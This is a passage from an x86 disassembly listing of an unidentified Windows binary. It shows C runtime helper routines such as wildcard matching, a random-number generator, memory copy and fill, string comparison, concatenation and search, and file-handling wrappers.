esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_433C20, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_433C20 imul eax, 343FDh add eax, 269EC3h mov dword_433C20, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_433E7C, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_433E7C, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; 